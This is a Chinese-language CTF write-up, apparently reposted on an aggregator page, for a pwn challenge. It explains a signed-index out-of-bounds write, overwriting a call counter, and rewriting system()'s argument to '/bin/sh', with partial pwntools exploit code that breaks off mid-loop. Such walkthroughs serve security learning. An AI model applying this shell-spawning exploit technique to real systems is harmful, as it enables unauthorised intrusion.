ZGCTF

您所在的位置:网站首页 rop怎么读音 ZGCTF

ZGCTF

2023-04-28 14:37| 来源: 网络整理| 查看: 265

这是一道很简单的的题,甚至都说不出来它有什么考点,如果非要说的话,可能需要对ida、gdb、栈不那么陌生吧。

查看保护

img

IDA静态分析

主函数是一个菜单,通过4008e3函数读入选项。

img

这个函数允许修改602120指定一字节的内容,并且只能执行两次。这是说正常情况下,仔细观察可以发现,v3为有符号整数,并且对于它的值也没有检查,也就是说我们可以利用这个漏洞更改任意位置的值。

img

说只能修改两次是因为这里存在一个计数器,在main函数的开头调用了400837把它赋值为1,也就是这个602150。img

这个函数允许向602120输入最大0x30个字节的内容

img

最后这个函数调用了system为我们打印了当前时间。

img

解题思路

先说一下我当时的解题思路,首先程序是不存在栈溢出的,而且开了canary,rop是不可能了。程序可以主动执行system函数,但是参数没什么用,由于存在一个函数可以让我任意修改bss段,就想到了先修改计数器,多次进行单字节修改,直到把system的data参数完全改为/bin/sh,再调用system去getshell。

EXP from tools import * p,elf,libc=load('note') context.log_level="debug" #debug(p,0x04009F1) #payload=b'9'#str(0x30).encode()=b'48'-->b'48\n'##b'0x30'-->b'0x30\n'## #修改计数器,达到多次进行任意地址写的目的 p.sendlineafter("please tell me you options>>\n",str(2)) p.sendlineafter("please enter the location you want to modify\n",b'49') p.sendafter("please enter what yo uare modifying\n",b'9') #自定义一个函数,配合循环来一字节一字节地修改data为binsh def atk(a,b): p.sendlineafter("please tell me you options>>\n",str(2)) p.sendlineafter("please enter the location you want to modify\n",str(a)) p.sendafter("please enter what yo uare modifying\n",str(b)) j="/bin/sh"; c=0; i=-160 #这个160是602120和system参数的地址也就是602080之间的差值 while c


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3